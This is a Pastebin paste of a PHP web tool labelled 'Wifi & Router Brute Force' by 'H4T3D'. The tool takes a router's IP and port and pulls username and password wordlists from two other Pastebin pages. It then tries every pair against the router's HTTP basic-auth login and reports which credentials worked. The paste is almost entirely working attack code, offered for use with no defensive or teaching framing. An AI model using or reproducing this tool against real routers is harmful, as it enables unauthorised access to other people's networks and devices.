Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #################################################
- # Wifi & Router Brute Force
- # CODED BY H4T3D
- #Changing Name Wont Make You l33t -_-
- #See Steps >> https://www.youtube.com/watch?v=m9AdASOOOo4
- #################################################
- set_time_limit(0);
- echo "
- <head>
- <form method='POST' action=''>
- </head>
- <style>
- html {
- background: url(http://i688.photobucket.com/albums/vv248/RuneMeyamoto/blue-matrix-animated.gif);
- }
- textarea {
- resize:none;
- color: #1975FF ;
- border:1px solid #1975FF ;
- border-left: 4px solid #1975FF ;
- }
- input {
- color: ##33CCFF;
- border:1px dotted #33CCFF;
- }
- .statusbox-green {
- background-color: #336633;
- border: solid 1px #33ff33;
- padding: 3px;
- color: #33ff33;
- border-radius: 4px;
- }
- </style>";
- echo "
- <center>
- <img src=\"http://i.picasion.com/gl/80/54v1.gif\"><br></br>
- Routers Ip : <input type='text' name='router' value='192.168.1.1'/>
- Port: <input type='text' name='port' value='80' size='4'>
- </center>
- <p dir='ltr' align='center'>
- <textarea cols='30' class='area' rows='30' name='username'>";$homepage = file_get_contents('http://pastebin.com/raw.php?i=TeJ5sx0k');echo $homepage;echo"</textarea>
- <textarea cols='30' class='area' rows='30' name='password'>";$homepage = file_get_contents('http://pastebin.com/raw.php?i=MMKduBt8');echo $homepage;echo"</textarea>
- <br>
- <br>
- <input type='submit' name='scan' value='Start'><br></p>";
- if(isset($_POST['scan']))
- {
- function brute($user,$pass,$router,$port)
- {
- static $counter=0;
- $url = "http://".$user.":".$pass."@".$router.":".$port;
- $headers = @get_headers($url);
- if(strpos($headers[0],'401') === false)
- {
- $counter++;
- echo $counter."#<div id=\"content1_pnlStatus\" class=\"statusbox-green\"><p align='center' dir='ltr'><font face='Times New Roman'>This Password Seems Working ! :) Username : $user Password : $pass</p></div>";
- flush();@ob_flush();
- }
- else
- {
- $counter++;
- echo "<p align='center' dir='ltr'><font face='Times New Roman' color='white'>".$counter."# [IN CORRECT] Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p>";
- flush();@ob_flush();
- }
- }// end of function
- $router=$_POST["router"];
- $port=$_POST["port"];
- $username = explode("\n", $_POST['username']);
- $password = explode("\n", $_POST['password']);
- echo "<fieldset><legend>RESULT:</legend>";
- foreach($username as $users) {
- $users = @trim($users);
- foreach($password as $pass) {
- $pass = @trim($pass);
- echo brute($users,$pass,$router,$port);
- }
- }
- echo"<fieldset/>";
- } // scan end
- ?>
- <footer>
- <center>
- <font color='lightblue'><h3>Coded By : H4T3D</font></h3>
- </center>
- </footer>
Add Comment
Please, Sign In to add comment